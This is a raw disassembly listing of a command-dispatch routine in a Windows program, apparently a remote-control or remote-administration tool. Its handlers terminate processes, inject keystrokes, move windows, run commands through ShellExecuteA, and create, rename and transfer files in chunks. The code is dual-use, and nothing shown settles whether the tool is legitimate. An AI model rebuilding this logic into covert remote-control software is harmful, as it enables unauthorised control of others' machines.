mov dl, 1
mov eax, dword [0x4ea2e8]
call fcn.0041f128
mov edx, dword [ebp - 0x48]
mov dword [eax + 0x30], edx
call fcn.0041f474
cmp dword [ebp - 0x48], 0
jg 0x4d6f91
mov eax, dword [0x530488]
mov byte [eax], 1
mov word [0x52ef0c], 0
xor eax, eax
mov dword [0x53738c], eax
xor eax, eax
mov dword [0x52eff0], eax
xor eax, eax
mov dword [0x5373c4], eax
mov byte [0x52ef9c], 0xff
jmp 0x4d6fee
xor edx, edx
mov eax, dword [0x537364]
mov ecx, dword [eax]
call dword [ecx + 0x34]
mov byte [0x52efa0], 0
cmp dword [0x52efd8], 0x32
jge 0x4d7034
cmp dword [0x52efdc], 3
je 0x4d7034
mov dword [0x53734c], 0xffffffff
mov dword [0x537350], 0xffffffff
mov dword [0x537354], 0xffffffff
mov dword [0x537358], 0xffffffff
jmp case.0x4d46e1.10
mov dword [0x53734c], 0
mov dword [0x537350], 0
mov dword [0x537354], 0
mov dword [0x537358], 0
jmp case.0x4d46e1.10
mov byte [0x52efa0], 1
mov dword [0x52efd8], 0x7d0
jmp case.0x4d46e1.10
cmp byte [0x52ef9c], 0
je case.0x4d46e1.10
mov byte [0x52ef9c], 0
mov byte [0x52efac], 0
mov dword [0x52efd8], 0x7d0
xor word [0x537348], 0x1a0a
jmp 0x4d70b3
call fcn.004d3cd0
push 1
call sub.kernel32.dll_Sleep_1
mov eax, dword [0x5305a8]
cmp dword [eax], 0
jg 0x4d70a7
mov eax, dword [0x537360]
call fcn.00403750
mov eax, dword [0x537364]
call fcn.00403750
mov eax, 0x52efbc
call fcn.0040e130
call fcn.004d43b8
call fcn.004cbb50
call fcn.004ccde0
call fcn.004cd53c
call fcn.004cb428
call fcn.004c9b00
cmp dword [0x5374e0], 3
jne 0x4d710c
or eax, 0xffffffff
call fcn.004ca7b4
jmp 0x4d7111
call fcn.004ca174
call fcn.004ea6a4
jmp case.0x4d46e1.10
cmp byte [0x52ef9c], 0
je case.0x4d46e1.10
mov eax, dword [ebx + 0x14]
shr eax, 0xc
and eax, 0xf
mov dword [ebp - 0x48], eax
cmp byte [0x52efac], 0
jne 0x4d715a
cmp dword [ebp - 0x48], 2
jne 0x4d715a
call fcn.0046d53c
fcomp dword [0x4d99f0]
fnstsw ax
sahf
jbe 0x4d715a
mov dword [ebp - 0x48], 3
mov eax, dword [0x52efdc]
cmp eax, dword [ebp - 0x48]
je 0x4d7189
mov eax, dword [ebp - 0x48]
mov dword [0x52efdc], eax
cmp dword [0x52efdc], 2
jl 0x4d7189
mov dword [0x53734c], 0
mov dword [0x537350], 0
cmp dword [0x537374], 0
jle 0x4d719e
mov eax, dword [0x537374]
mov dword [0x52efe0], eax
jmp 0x4d71b1
mov eax, dword [ebx + 0x14]
shr eax, 8
and eax, 0xf
mov dword [0x52efe0], eax
call fcn.004d0618
cmp dword [0x52efe0], 3
je 0x4d71bf
call fcn.004c9b00
cmp dword [0x52efe0], 4
je 0x4d71cd
call fcn.004cb428
cmp dword [0x5374e0], 3
jne 0x4d720a
movsx eax, byte [0x52ef98]
mov edx, dword [0x52efd8]
call fcn.004ca84c
cmp dword [0x52efe0], 5
je 0x4d71fb
or eax, 0xffffffff
call fcn.004ca7b4
jmp 0x4d722f
mov edx, 2
or eax, 0xffffffff
call fcn.004ca7e0
jmp 0x4d722f
cmp dword [0x52efe0], 5
je 0x4d721a
call fcn.004ca174
jmp 0x4d722f
mov eax, dword [0x530710]
cmp dword [eax], 0xffffffd8
jge 0x4d722f
mov eax, dword [0x530710]
mov dword [eax], 0xffffffd8
mov eax, dword [ebx + 0x18]
and eax, 0x1f
mov esi, dword [eax*4 + 0x52f470]
mov eax, dword [ebx + 0x18]
shr eax, 8
and al, 1
mov byte [0x5373a8], al
mov eax, dword [ebx + 0x18]
shr eax, 9
and al, 1
test al, al
jne 0x4d725c
mov byte [0x52ef98], 0
mov al, byte [ebx + 0x14]
and al, 0xf
mov byte [0x53735c], al
cmp byte [0x52efac], 0
je 0x4d729c
test esi, esi
jle 0x4d7284
mov eax, esi
call fcn.004d3d40
shl eax, 2
mov dword [0x52efd8], eax
jmp 0x4d7293
mov eax, esi
call fcn.004d3d40
shl eax, 3
mov dword [0x52efd8], eax
mov byte [0x5373a8], 1
jmp 0x4d72c0
cmp dword [0x5373a4], 0xb1a1
ja 0x4d72b6
mov eax, esi
call fcn.004d3d40
mov dword [0x52efd8], eax
jmp 0x4d72c0
mov dword [0x52efd8], 0x3e8
cmp byte [0x5373a8], 0
je 0x4d72d6
cmp byte [0x5373a9], 0
je case.0x4d46e1.10
push 0x5622
push 0x10
mov cx, 1
xor edx, edx
mov eax, 0x20
call fcn.004ad4b4
test al, al
je case.0x4d46e1.10
call fcn.004ad664
jmp case.0x4d46e1.10
mov ax, word [ebx + 0x10]
and ax, 0xffff
mov word [0x537348], ax
jmp case.0x4d46e1.10
mov eax, dword [ebx + 0x10]
and eax, 0xffff
mov dword [0x5373ac], eax
mov eax, dword [ebx + 0x10]
shr eax, 0x10
mov dword [0x5373b0], eax
mov eax, dword [ebx + 0x14]
and eax, 0xffff
mov dword [0x5373b4], eax
mov eax, dword [ebx + 0x14]
shr eax, 0x10
mov dword [0x5373b8], eax
jmp case.0x4d46e1.10
mov eax, dword [ebx + 0x10]
and eax, 0xffff
mov dword [0x5373bc], eax
mov eax, dword [ebx + 0x10]
shr eax, 0x10
mov dword [0x5373c0], eax
mov eax, dword [ebx + 0x14]
and eax, 0xffff
mov dword [0x5373c4], eax
mov eax, dword [ebx + 0x14]
shr eax, 0x10
mov dword [0x5373c8], eax
jmp case.0x4d46e1.10
cmp dword [ebx + 0x10], 0
je 0x4d73ae
lea eax, [ebp - 0x920]
lea edx, [ebx + 0x20]
mov ecx, 0x400
call fcn.004047c4
mov ecx, dword [ebp - 0x920]
mov dx, word [0x4d99dc]
mov al, 1
call fcn.004ab558
jmp case.0x4d46e1.10
xor ecx, ecx
mov dx, word [0x4d9a20]
xor eax, eax
call fcn.004ab558
jmp case.0x4d46e1.10
mov edx, dword [ebx + 0x10]
xor dl, 1
mov eax, dword [0x530830]
mov eax, dword [eax]
mov eax, dword [eax + 0x308]
call fcn.0044e0f8
jmp case.0x4d46e1.10
push 0
push 0
push 0x913
mov eax, dword [ebp - 0x28]
call fcn.0045ca7c
push eax
call sub.user32.dll_PostMessageA
jmp case.0x4d46e1.10
lea eax, [ebp - 0x928]
lea edx, [ebx + 0x20]
mov ecx, 0x400
call fcn.004047c4
mov eax, dword [ebp - 0x928]
lea edx, [ebp - 0x924]
call fcn.00408d5c
mov edx, dword [ebp - 0x924]
mov eax, 0x5374fc
call fcn.004045b0
push 0
xor eax, eax
mov al, byte [ebx + 0xc]
push eax
push 0x916
mov eax, dword [ebp - 0x28]
call fcn.0045ca7c
push eax
call sub.user32.dll_PostMessageA
jmp case.0x4d46e1.10
lea eax, [ebp - 0x5c]
call fcn.0040455c
cmp byte [ebx + 0xc], 0x9f
jne 0x4d746f
cmp dword [ebx + 4], 0x20
jle 0x4d746f
lea edx, [ebp - 0x5c]
lea eax, [ebx + 0x20]
call fcn.00409df0
mov eax, dword [ebx + 0x10]
push eax
push 0
push 0x1f0fff
call sub.kernel32.dll_OpenProcess
test eax, eax
je 0x4d7493
cmp eax, 0xffffffff
je 0x4d7493
push 0x1111
push eax
call sub.kernel32.dll_TerminateProcess
push 0
push 0
push 0x913
mov eax, dword [ebp - 0x28]
call fcn.0045ca7c
push eax
call sub.user32.dll_PostMessageA
cmp dword [ebp - 0x5c], 0
je case.0x4d46e1.10
lea eax, [ebp - 0x38]
mov edx, dword [ebp - 0x5c]
call fcn.004045f4
jmp 0x4d519f
lea edx, [ebp - 0x92c]
lea eax, [ebx + 0x20]
call fcn.00409df0
mov edx, dword [ebp - 0x92c]
mov eax, 0x537494
call fcn.00404e18
mov dl, 1
mov eax, dword [0x537494]
call fcn.004e67f4
push 0
push 0
push 0
push 0x11
call sub.user32.dll_keybd_event
push 0
push 0
push 0
push 0x56
call sub.user32.dll_keybd_event
push 0
push 2
push 0
push 0x56
call sub.user32.dll_keybd_event
push 0
push 2
push 0
push 0x11
call sub.user32.dll_keybd_event
jmp case.0x4d46e1.10
lea edx, [ebp - 0x6c]
lea eax, [ebx + 0x20]
call fcn.00409df0
cmp dword [ebx + 0x10], 0xaf
jne 0x4d754b
mov edx, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x28]
call fcn.004e3094
jmp case.0x4d46e1.10
cmp dword [ebx + 0x10], 0xae
jne 0x4d759e
mov edx, dword [ebp - 0x6c]
mov eax, 0x4d9a2c
call fcn.00404b50
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 0
jle case.0x4d46e1.10
lea eax, [ebp - 0x930]
push eax
mov ecx, dword [ebp - 0x48]
dec ecx
mov edx, 1
mov eax, dword [ebp - 0x6c]
call fcn.00404a6c
mov eax, dword [ebp - 0x930]
or edx, 0xffffffff
call fcn.0040940c
call fcn.004e3198
jmp case.0x4d46e1.10
cmp dword [ebx + 0x10], 0xb4
jne 0x4d75bd
lea eax, [ebp - 0x38]
mov ecx, dword [ebp - 0x6c]
mov edx, dword [0x53747c]
call fcn.00404860
jmp 0x4d519f
cmp dword [ebx + 0x10], 0xb5
jne case.0x4d46e1.10
lea eax, [ebp - 0x38]
mov ecx, dword [ebp - 0x6c]
mov edx, dword [0x53747c]
call fcn.00404860
jmp 0x4d519f
mov eax, dword [ebx + 0x10]
push eax
push 0xf170
push 0x112
mov eax, dword [ebp - 0x28]
call fcn.0045ca7c
push eax
call sub.user32.dll_SendMessageA
jmp case.0x4d46e1.10
call sub.user32.dll_GetForegroundWindow
mov esi, eax
test esi, esi
je case.0x4d46e1.10
lea eax, [ebp - 0x1d8]
push eax
push esi
call sub.user32.dll_GetWindowRect
mov eax, dword [ebp - 0x1d0]
sub eax, dword [ebp - 0x1d8]
mov edx, dword [ebp - 0x1cc]
sub edx, dword [ebp - 0x1d4]
shl edx, 0x10
or eax, edx
push eax
push 1
push 0
push 0
push 0
mov ecx, dword [ebp - 0x1d8]
and ecx, 0xffff
mov eax, dword [ebp - 0x1d4]
shl eax, 0x10
or ecx, eax
mov edx, 0xfb
mov eax, dword [ebp - 0x28]
call fcn.004d2c2c
jmp case.0x4d46e1.10
call sub.user32.dll_GetForegroundWindow
mov esi, eax
test esi, esi
je case.0x4d46e1.10
mov di, word [ebx + 0x10]
and di, 0xffff
movsx edi, di
mov eax, dword [ebx + 0x10]
shr eax, 0x10
movsx eax, ax
mov dword [ebp - 0x4c], eax
mov ax, word [ebx + 0x14]
and ax, 0xffff
movsx eax, ax
mov dword [ebp - 0x50], eax
mov eax, dword [ebx + 0x14]
shr eax, 0x10
movsx eax, ax
mov dword [ebp - 0x54], eax
push 0
mov eax, dword [ebp - 0x54]
push eax
mov eax, dword [ebp - 0x50]
push eax
mov eax, dword [ebp - 0x4c]
push eax
push edi
push 0
push esi
call sub.user32.dll_SetWindowPos
jmp case.0x4d46e1.10
call sub.user32.dll_GetForegroundWindow
mov esi, eax
test esi, esi
je case.0x4d46e1.10
push 0
lea eax, [ebp - 0x1f8]
push eax
push 0
push 0x30
call sub.user32.dll_SystemParametersInfoA
lea eax, [ebp - 0x1d8]
push eax
push esi
call sub.user32.dll_GetWindowRect
mov eax, dword [ebp - 0x1f0]
sub eax, dword [ebp - 0x1f8]
mov edx, dword [ebp - 0x1d0]
sub edx, dword [ebp - 0x1d8]
sub eax, edx
sar eax, 1
jns 0x4d7717
adc eax, 0
add eax, dword [ebp - 0x1f8]
mov dword [ebp - 0x1e8], eax
mov eax, dword [ebp - 0x1ec]
sub eax, dword [ebp - 0x1f4]
mov edx, dword [ebp - 0x1cc]
sub edx, dword [ebp - 0x1d4]
sub eax, edx
sar eax, 1
jns 0x4d7744
adc eax, 0
add eax, dword [ebp - 0x1f4]
mov dword [ebp - 0x1e4], eax
push 1
push 0
push 0
mov eax, dword [ebp - 0x1e4]
push eax
mov eax, dword [ebp - 0x1e8]
push eax
push 0
push esi
call sub.user32.dll_SetWindowPos
jmp case.0x4d46e1.10
mov dl, 1
mov eax, dword [0x414a08]
call fcn.00403720
mov esi, eax
mov edx, 0x4d9a38
mov eax, esi
mov ecx, dword [eax]
call dword [ecx + 0x38]
push 0x4d9a58
mov eax, dword [0x530810]
push dword [eax]
push 0x4d9a68
lea eax, [ebp - 0x934]
mov edx, 3
call fcn.004048d4
mov edx, dword [ebp - 0x934]
mov eax, esi
mov ecx, dword [eax]
call dword [ecx + 0x38]
push 0x4d9a58
mov eax, dword [0x530810]
push dword [eax]
push 0x4d9a78
lea eax, [ebp - 0x938]
mov edx, 3
call fcn.004048d4
mov edx, dword [ebp - 0x938]
mov eax, esi
mov ecx, dword [eax]
call dword [ecx + 0x38]
push 0x4d9a58
mov eax, dword [0x530810]
push dword [eax]
push 0x4d9a88
lea eax, [ebp - 0x93c]
mov edx, 3
call fcn.004048d4
mov edx, dword [ebp - 0x93c]
mov eax, esi
mov ecx, dword [eax]
call dword [ecx + 0x38]
lea edx, [ebp - 0x940]
mov eax, 0xf9
call fcn.004a802c
mov ecx, dword [ebp - 0x940]
mov edx, dword [0x530810]
mov edx, dword [edx]
lea eax, [ebp - 0x88]
call fcn.00404860
lea eax, [ebp - 0x944]
mov edx, dword [ebp - 0x88]
call fcn.00404e18
mov eax, dword [ebp - 0x944]
push eax
push esi
call fcn.0046c6a8
push 0x4d9a98
push dword [ebp - 0x88]
push 0x4d9a98
lea eax, [ebp - 0x88]
mov edx, 3
call fcn.004048d4
mov eax, esi
call fcn.00403750
call fcn.004d3dc8
xor eax, eax
call fcn.004d3de8
push 0
push 0
push 0
mov eax, dword [ebp - 0x88]
call fcn.00404a0c
push eax
push 0x4d99d4
push 0
call sub.shell32.dll_ShellExecuteA
jmp case.0x4d46e1.10
mov dl, 1
mov eax, dword [0x414a08]
call fcn.00403720
mov esi, eax
mov edx, 0x4d9a38
mov eax, esi
mov ecx, dword [eax]
call dword [ecx + 0x38]
push 0x4d9a58
lea eax, [ebp - 0x94c]
mov edx, dword [0x537288]
mov dl, byte [edx]
call fcn.0040473c
push dword [ebp - 0x94c]
push 0x4d9aa4
lea eax, [ebp - 0x948]
mov edx, 3
call fcn.004048d4
mov edx, dword [ebp - 0x948]
mov eax, esi
mov ecx, dword [eax]
call dword [ecx + 0x38]
push 0x4d9a58
push dword [0x537288]
push 0x4d9ab8
lea eax, [ebp - 0x950]
mov edx, 3
call fcn.004048d4
mov edx, dword [ebp - 0x950]
mov eax, esi
mov ecx, dword [eax]
call dword [ecx + 0x38]
push 0x4d9a58
push dword [0x537288]
push 0x4d9ad0
lea eax, [ebp - 0x954]
mov edx, 3
call fcn.004048d4
mov edx, dword [ebp - 0x954]
mov eax, esi
mov ecx, dword [eax]
call dword [ecx + 0x38]
push 0x4d9a58
mov eax, dword [0x530810]
push dword [eax]
push 0x4d9a88
lea eax, [ebp - 0x958]
mov edx, 3
call fcn.004048d4
mov edx, dword [ebp - 0x958]
mov eax, esi
mov ecx, dword [eax]
call dword [ecx + 0x38]
lea edx, [ebp - 0x95c]
mov eax, 0xf9
call fcn.004a802c
mov ecx, dword [ebp - 0x95c]
mov edx, dword [0x530810]
mov edx, dword [edx]
lea eax, [ebp - 0x88]
call fcn.00404860
lea eax, [ebp - 0x960]
mov edx, dword [ebp - 0x88]
call fcn.00404e18
mov eax, dword [ebp - 0x960]
push eax
push esi
call fcn.0046c6a8
push 0x4d9a98
push dword [ebp - 0x88]
push 0x4d9a98
lea eax, [ebp - 0x88]
mov edx, 3
call fcn.004048d4
mov eax, esi
call fcn.00403750
push 0
push 0
push 0
mov eax, dword [ebp - 0x88]
call fcn.00404a0c
push eax
push 0x4d99d4
push 0
call sub.shell32.dll_ShellExecuteA
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x2f0]
xor edx, edx
call fcn.0046f2e4
mov eax, dword [0x536140]
call fcn.0049c760
xor ecx, ecx
xor edx, edx
mov eax, dword [ebp - 0x28]
call fcn.004e0220
jmp case.0x4d46e1.10
lea edx, [ebp - 0x964]
mov eax, 0xfa
call fcn.004a802c
mov eax, dword [ebp - 0x964]
push eax
lea edx, [ebp - 0x968]
mov eax, 0xae
call fcn.004a802c
mov eax, dword [ebp - 0x968]
push eax
lea eax, [ebp - 0x96c]
lea edx, [ebx + 0x20]
mov ecx, 0x400
call fcn.004047c4
mov ecx, dword [ebp - 0x96c]
pop eax
pop edx
call fcn.0046ae00
jmp case.0x4d46e1.10
cmp dword [0x52ef18], 0x51f01a9
jb case.0x4d46e1.10
cmp byte [0x52f544], 0
jne case.0x4d46e1.10
xor eax, eax
push ebp
push 0x4d7e00
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebx + 0x10]
mov dword [0x537310], eax
mov eax, dword [0x537310]
add eax, 0x5b
cmp eax, dword [0x5373a4]
jae 0x4d7b0f
push 0
push 0x3e8
mov eax, dword [0x52eee0]
mov edx, dword [0x52eee4]
call fcn.004058f0
and eax, 1
xor edx, edx
cmp edx, 0
jne 0x4d7b0f
cmp eax, 0
je 0x4d7deb
mov byte [0x52f544], 1
lea edx, [ebp - 0x9c]
lea eax, [ebx + 0x20]
call fcn.00409df0
lea eax, [ebp - 0x9c]
call fcn.004d181c
lea eax, [ebp - 0xcc]
mov edx, dword [ebp - 0x9c]
call fcn.004045f4
mov eax, dword [ebp - 0x9c]
call fcn.00404814
cmp eax, 3
jl 0x4d7dcc
mov eax, dword [ebp - 0x9c]
call fcn.00461a78
test al, al
je 0x4d7dcc
push 0
push 0
mov eax, dword [ebp - 0xcc]
push eax
push 0
push 0
xor ecx, ecx
mov edx, 0xe1
mov eax, dword [ebp - 0x28]
call fcn.004d2c2c
mov ecx, dword [ebp - 0x28]
mov dl, 1
mov eax, dword [0x4693d4]
call fcn.0046965c
mov dword [ebp - 0xd4], eax
mov eax, dword [ebp - 0xd4]
mov edx, dword [ebp - 0x28]
mov dword [eax + 0x54], edx
mov dword [eax + 0x50], 0x4de268
mov eax, dword [ebp - 0xd4]
mov edx, dword [ebp - 0x28]
mov dword [eax + 0x4c], edx
mov dword [eax + 0x48], 0x4de4a4
mov eax, dword [ebp - 0xd4]
mov edx, dword [ebp - 0x28]
mov dword [eax + 0x64], edx
mov dword [eax + 0x60], 0x4de9e0
mov eax, dword [ebp - 0xd4]
add eax, 0x40
mov edx, dword [ebp - 0x9c]
call fcn.004045b0
mov eax, dword [ebp - 0xd4]
mov byte [eax + 0x71], 0
mov dl, 1
mov eax, dword [0x4eafd0]
call fcn.00403720
mov dword [0x53751c], eax
push 0
push 0x20
mov eax, dword [0x53751c]
call fcn.0041957c
push 0
push 0x20
mov eax, dword [0x53751c]
call fcn.00419518
mov eax, dword [ebp - 0xd4]
mov dword [eax + 0xc], 2
xor eax, eax
push ebp
push 0x4d7dc5
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0xd4]
call fcn.00469710
mov eax, dword [0x53751c]
call fcn.0041952c
cmp edx, 0
jne 0x4d7c5e
cmp eax, 0x20
jbe 0x4d7d84
jmp 0x4d7c64
jle 0x4d7d84
mov eax, dword [0x53751c]
mov ebx, dword [eax + 4]
mov byte [ebx + 0xd], 0xc
mov byte [ebx + 0xc], 0xe8
mov byte [ebx + 0xe], 0
mov eax, dword [0x53751c]
call fcn.0041952c
mov dword [ebx + 4], eax
mov eax, dword [0x5373a4]
mov dword [ebx + 0x10], eax
xor eax, eax
mov dword [ebx + 0x1c], eax
mov eax, ebx
call fcn.004ddc80
mov eax, dword [ebx + 4]
mov dword [ebp - 0xb0], eax
lea ebx, [ebp - 0x798]
mov byte [ebx + 0xd], 0xc
mov byte [ebx + 0xc], 0xf2
mov byte [ebx + 0xe], 0
xor eax, eax
mov dword [ebx + 0x10], eax
xor eax, eax
mov dword [ebx + 0x1c], eax
push 0
push 0
mov eax, dword [0x53751c]
call fcn.00419518
xor esi, esi
mov dword [ebx + 0x14], esi
inc esi
mov eax, dword [ebp - 0xb0]
cdq
push edx
push eax
mov eax, dword [0x53751c]
call fcn.004194f8
sub dword [esp], eax
sbb dword [esp + 4], edx
pop eax
pop edx
cmp edx, 0
jne 0x4d7cfc
cmp eax, 0x500
jbe 0x4d7d0a
jmp 0x4d7cfe
jle 0x4d7d0a
mov dword [ebp - 0xac], 0x500
jmp 0x4d7d22
mov eax, dword [0x53751c]
call fcn.004194f8
mov edx, dword [ebp - 0xb0]
sub edx, eax
mov dword [ebp - 0xac], edx
lea edx, [ebx + 0x20]
mov ecx, dword [ebp - 0xac]
mov eax, dword [0x53751c]
mov edi, dword [eax]
call dword [edi + 8]
mov eax, dword [0x53751c]
call fcn.004194f8
mov edx, dword [ebp - 0xb0]
sub edx, eax
mov dword [ebx + 0x18], edx
mov eax, dword [ebp - 0xac]
add eax, 0x20
mov dword [ebx + 4], eax
mov edx, ebx
mov eax, dword [ebp - 0x28]
call fcn.004d2910
test al, al
je 0x4d7da2
test esi, 0xf
jne 0x4d7d78
mov eax, dword [0x5306f0]
mov eax, dword [eax]
call fcn.00447f38
cmp dword [ebx + 0x18], 0
jne 0x4d7cce
jmp 0x4d7da2
push 0
push 0
mov eax, dword [ebp - 0xcc]
push eax
push 0
push 0
xor ecx, ecx
mov edx, 0xbb
mov eax, dword [ebp - 0x28]
call fcn.004d2c2c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4d7deb
mov eax, dword [0x53751c]
call fcn.00403750
mov eax, dword [ebp - 0xd4]
call fcn.00403750
ret
push 0
push 0
mov eax, dword [ebp - 0xcc]
push eax
push 0
push 0
or ecx, 0xffffffff
mov edx, 0xbb
mov eax, dword [ebp - 0x28]
call fcn.004d2c2c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push case.0x4d46e1.10
mov byte [0x52f544], 0
ret
lea edx, [ebp - 0x34]
lea eax, [ebx + 0x20]
call fcn.00409df0
lea eax, [ebp - 0x34]
call fcn.004d181c
push 0
lea eax, [ebp - 0x34]
call fcn.00404a64
push eax
call sub.kernel32.dll_CreateDirectoryA
cmp eax, 1
sbb eax, eax
inc eax
mov byte [ebp - 0x91], al
push 0
push 0
lea edx, [ebp - 0x970]
lea eax, [ebx + 0x20]
call fcn.00409df0
mov eax, dword [ebp - 0x970]
push eax
push 0
push 0
xor ecx, ecx
mov cl, byte [ebp - 0x91]
mov edx, 0xbd
mov eax, dword [ebp - 0x28]
call fcn.004d2c2c
jmp case.0x4d46e1.10
cmp byte [0x52f548], 0
jne case.0x4d46e1.10
xor eax, eax
push ebp
push 0x4d8065
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [0x52f548], 1
mov dl, 1
mov eax, dword [0x414a08]
call fcn.00403720
mov dword [ebp - 0x98], eax
lea edx, [ebp - 0x974]
lea eax, [ebx + 0x20]
call fcn.00409df0
mov edx, dword [ebp - 0x974]
mov eax, dword [ebp - 0x98]
mov ecx, dword [eax]
call dword [ecx + 0x2c]
lea ecx, [ebp - 0x9c]
xor edx, edx
mov eax, dword [ebp - 0x98]
mov ebx, dword [eax]
call dword [ebx + 0xc]
lea eax, [ebp - 0x9c]
call fcn.004d181c
mov eax, dword [ebp - 0x98]
mov edx, dword [eax]
call dword [edx + 0x14]
dec eax
test eax, eax
jle 0x4d801d
mov dword [ebp - 0x108], eax
mov dword [ebp - 0x48], 1
lea ecx, [ebp - 0x978]
mov edx, dword [ebp - 0x48]
mov eax, dword [ebp - 0x98]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov ecx, dword [ebp - 0x978]
lea eax, [ebp - 0x34]
mov edx, dword [ebp - 0x9c]
call fcn.00404860
mov eax, dword [ebp - 0x34]
call fcn.0046c3fc
test al, al
je 0x4d7f4d
mov eax, dword [ebp - 0x34]
call fcn.004e759c
mov edx, 2
mov eax, dword [ebp - 0x34]
call fcn.004d12c8
jmp 0x4d800e
mov ecx, dword [ebp - 0x28]
mov dl, 1
mov eax, dword [0x4693d4]
call fcn.0046965c
mov dword [ebp - 0xd4], eax
mov eax, dword [ebp - 0xd4]
mov edx, dword [ebp - 0x28]
mov dword [eax + 0x54], edx
mov dword [eax + 0x50], 0x4de268
mov eax, dword [ebp - 0xd4]
mov edx, dword [ebp - 0x28]
mov dword [eax + 0x4c], edx
mov dword [eax + 0x48], 0x4de4a4
mov eax, dword [ebp - 0xd4]
mov edx, dword [ebp - 0x28]
mov dword [eax + 0x64], edx
mov dword [eax + 0x60], 0x4de9e0
mov eax, dword [ebp - 0xd4]
add eax, 0x40
mov edx, dword [ebp - 0x34]
call fcn.004045b0
mov eax, dword [ebp - 0xd4]
mov byte [eax + 0x71], 1
mov eax, dword [ebp - 0xd4]
mov dword [eax + 0xc], 3
xor eax, eax
push ebp
push 0x4d7ff5
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0xd4]
call fcn.00469710
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4d7ffc
mov eax, dword [ebp - 0xd4]
call fcn.00403750
ret
inc dword [ebp - 0x48]
dec dword [ebp - 0x108]
jne 0x4d7eff
lea ecx, [ebp - 0x9c]
xor edx, edx
mov eax, dword [ebp - 0x98]
mov ebx, dword [eax]
call dword [ebx + 0xc]
push 0
push 0
push 0
xor ecx, ecx
mov edx, 0xbc
mov eax, dword [ebp - 0x28]
call fcn.004d2dc8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push case.0x4d46e1.10
mov eax, dword [ebp - 0x98]
call fcn.00403750
mov byte [0x52f548], 0
ret
mov dl, 1
mov eax, dword [0x414a08]
call fcn.00403720
mov dword [ebp - 0x98], eax
lea edx, [ebp - 0x97c]
lea eax, [ebx + 0x20]
call fcn.00409df0
mov edx, dword [ebp - 0x97c]
mov eax, dword [ebp - 0x98]
mov ecx, dword [eax]
call dword [ecx + 0x2c]
lea ecx, [ebp - 0x9c]
xor edx, edx
mov eax, dword [ebp - 0x98]
mov esi, dword [eax]
call dword [esi + 0xc]
lea ecx, [ebp - 0x34]
mov edx, 1
mov eax, dword [ebp - 0x98]
mov esi, dword [eax]
call dword [esi + 0xc]
lea ecx, [ebp - 0x38]
mov edx, 2
mov eax, dword [ebp - 0x98]
mov esi, dword [eax]
call dword [esi + 0xc]
lea eax, [ebp - 0x9c]
call fcn.004d181c
lea eax, [ebp - 0x980]
mov ecx, dword [ebp - 0x38]
mov edx, dword [ebp - 0x9c]
call fcn.00404860
mov eax, dword [ebp - 0x980]
call fcn.00404a0c
push eax
lea eax, [ebp - 0x984]
mov ecx, dword [ebp - 0x34]
mov edx, dword [ebp - 0x9c]
call fcn.00404860
mov eax, dword [ebp - 0x984]
call fcn.00404a0c
push eax
call sub.kernel32.dll_MoveFileA
cmp eax, 1
sbb eax, eax
inc eax
mov byte [ebp - 0x91], al
mov eax, dword [ebp - 0x98]
call fcn.00403750
mov eax, dword [ebx + 0x10]
push eax
push 1
push 0
push 0
push 0
xor ecx, ecx
mov cl, byte [ebp - 0x91]
mov edx, 0xc0
mov eax, dword [ebp - 0x28]
call fcn.004d2c2c
jmp case.0x4d46e1.10
lea edx, [ebp - 0x988]
lea eax, [ebx + 0x20]
call fcn.00409df0
mov edx, dword [ebp - 0x988]
mov eax, 0x537520
call fcn.004045b0
mov eax, dword [ebx + 0x10]
mov dword [0x537524], eax
mov eax, dword [ebx + 0x14]
mov dword [0x537530], eax
mov al, byte [ebx + 0x18]
and al, 0xff
mov byte [0x53752c], al
mov eax, dword [ebx + 0x18]
and eax, 0x300
mov dword [0x537528], eax
mov eax, 0x537520
call fcn.004d181c
mov eax, dword [0x537520]
cmp byte [eax + 1], 0x3a
jne 0x4d81d0
mov eax, dword [0x537520]
mov al, byte [eax]
call fcn.00402b3c
mov byte [0x537534], al
jmp 0x4d81d7
mov byte [0x537534], 0
mov eax, dword [0x537520]
call fcn.00404814
cmp eax, 3
jle case.0x4d46e1.10
mov eax, dword [0x537520]
call fcn.00461a80
jmp case.0x4d46e1.10
mov al, byte [ebx + 0x10]
mov byte [0x537540], al
mov eax, dword [ebx + 0x14]
mov dword [0x53753c], eax
lea eax, [ebx + 0x20]
mov ebx, eax
mov eax, dword [ebx + 4]
mov dword [0x537548], eax
mov eax, dword [ebx + 8]
mov dword [0x53754c], eax
mov eax, dword [ebx]
mov dword [0x537544], eax
mov eax, dword [ebx + 0xc]
mov dword [0x537550], eax
cmp byte [0x537534], 0x41
jb 0x4d8267
mov al, byte [0x537534]
sub al, 0x41
inc eax
call fcn.00409b4c
sub eax, dword [0x537548]
sbb edx, dword [0x53754c]
sub eax, 0x1400000
sbb edx, 0
mov dword [ebp - 0xa8], eax
mov dword [ebp - 0xa4], edx
jmp 0x4d827b
mov dword [ebp - 0xa8], 0xffffffff
mov dword [ebp - 0xa4], 0x7fff
cmp dword [ebp - 0xa4], 0
jne 0x4d828f
cmp dword [ebp - 0xa8], 0
jae 0x4d82ba
jmp 0x4d8291
jge 0x4d82ba
xor eax, eax
mov dword [0x52f558], eax
push 0
push 0
push 0
push 0
push 0
mov ecx, dword [0x53753c]
mov edx, 0xc3
mov eax, dword [ebp - 0x28]
call fcn.004d2c2c
jmp case.0x4d46e1.10
mov al, byte [0x537540]
sub al, 2
jb 0x4d82ca
je 0x4d82ff
jmp case.0x4d46e1.10
mov byte [0x537554], 0
mov dl, 1
mov eax, dword [0x4eafd0]
call fcn.00403720
mov dword [0x52f558], eax
mov dl, 1
mov eax, dword [0x4143a4]
call fcn.00403720
mov dword [0x53755c], eax
xor eax, eax
mov dword [0x537558], eax
jmp case.0x4d46e1.10
mov byte [0x537554], 0
lea eax, [ebp - 0x98c]
